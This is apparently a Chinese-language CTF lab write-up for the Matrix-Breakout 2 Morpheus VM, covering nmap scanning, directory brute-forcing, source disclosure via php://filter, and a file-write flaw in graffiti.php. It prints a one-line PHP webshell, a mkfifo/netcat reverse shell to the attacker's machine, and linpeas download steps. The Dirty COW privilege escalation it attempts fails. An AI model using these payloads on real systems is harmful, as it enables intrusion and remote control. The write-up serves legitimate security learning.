靶机 Matrix-Breakout 2 Morpheus
Matrix-Breakout 2 Morpheus笔记
拿到靶机先扔VMware
信息收集
没其他东西了,于是先在nmap收集信息
nmap -sn 192.168.0.0/24
-sn Ping扫描-禁用端口扫描
发现靶机地址为192.168.0.104,继续收集信息,先给一套组合拳
nmap -T4 -sV -p- -A 192.168.0.104
-sV:此选项启用版本检测。Nmap 将尝试确定在开放端口上运行的服务的版本。
-p-:该选项告诉Nmap扫描所有端口。默认情况下,Nmap 仅扫描 1000 个最常见的端口。指定-p-可确保扫描所有 65535 个端口。
-A:此选项启用主动扫描。它包括操作系统检测、版本检测、脚本扫描和traceroute。
发现开放了22、80、81端口,先直奔80网页看看有什么东西。
网页目录爆破
感觉并没有什么能看到的东西,对着英文意思似乎让我们放弃ssh也就是22端口(?)那就去爆网页目录
dirsearch -u http://192.168.0.104/ -s 3
-s 后面跟每次请求后延迟多久,再次请求
两个都是没什么用的
然后看到网上的wp直接用kali内置的字典能跑出来好东西
gobuster dir -u 192.168.0.104 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.js,.sh,.txt
dir 指定目录爆破模式
-w 指定字典路径
-x 显示限定的格式
发现有可疑文件graffiti(写的时候已经是尾声了,所以重新扫出来的结果里面会有一些多余的东西)
文件上传/包含漏洞
访问graffiti.php后发现有一个留言板界面,使用brupsuite抓包分析
发现可能存在文件包含漏洞,用伪协议将源码读出来
file=php://filter/read=convert.base64-encode/resource=graffiti.php
<h1>
<center>
Nebuchadnezzar Graffiti Wall
</center>
</h1>
<p>
<?php
$file="graffiti.txt";
if($_SERVER['REQUEST_METHOD'] == 'POST') {//判断是否为POST请求
if (isset($_POST['file'])) {//判断POST请求中是否有file变量
$file=$_POST['file'];//将POST中file变量的内容赋值给$file
}
//将POST中的变量message写入到$file中
if (isset($_POST['message'])) {
$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
fwrite($handle, $_POST['message']);
fwrite($handle, "\n");
fclose($file);
}
}
// Display file
$handle = fopen($file,"r");
while (!feof($handle)) {
echo fgets($handle);
echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message:
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
123
分析留言版源码可以发现,这里存在一个文件上传漏洞。因为$file可以抓包后修改,并且message的内容并没有任何过滤,这里可以上一个一句话木马
<?php eval($_POST['shell']);?>
蚁剑成功拿到shell
反弹shell
本来感觉蚁剑的shell挺好用的,但是看到别人的wp说会漏掉一些东西,还是要做一个反弹shell(实际感觉也只是wget方便点)。
用了好几个,只有这个能成功,URL编码一下
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.101 4444 >/tmp/f");?>
开启nc端口监听,浏览器访问graffiti4.php
nc -lvvp 4444
成功推回shell到kali,用python脚本让推回来的shell好看一些
python3 -c 'import pty;pty.spawn("/bin/bash")'
到处寻寻觅觅,到根目录下发现了个FLAG.txt
大意是想让我寻找Cypher's password,还有看看/.cypher-neo.png里面的flag
前者先等一等,直接来看看让我们去浏览器访问的图片有什么。感觉明眼看不出来什么东西,那就可能隐写了什么在里面,杂项又不咋会,只能看看别人的wp怎么写了。看了一圈发现大伙都直接脚本跑提权漏洞,没FLAG.txt里面的内容什么事了。能力不足,跟着学习(抄抄)
提权(不成功,未解决
kali本机开启web服务
python -m http.server
反弹shell中wget下脚本https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
wget 192.168.0.101:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
发现可能存在脏牛漏洞
但是不清楚为什么提权不成功,重新看看其他人的做法,好像也大差无异(?)
后续我用MSF也是在最后的提权失败了,弄挺久也不太知道哪里出问题了,先放弃了 T_T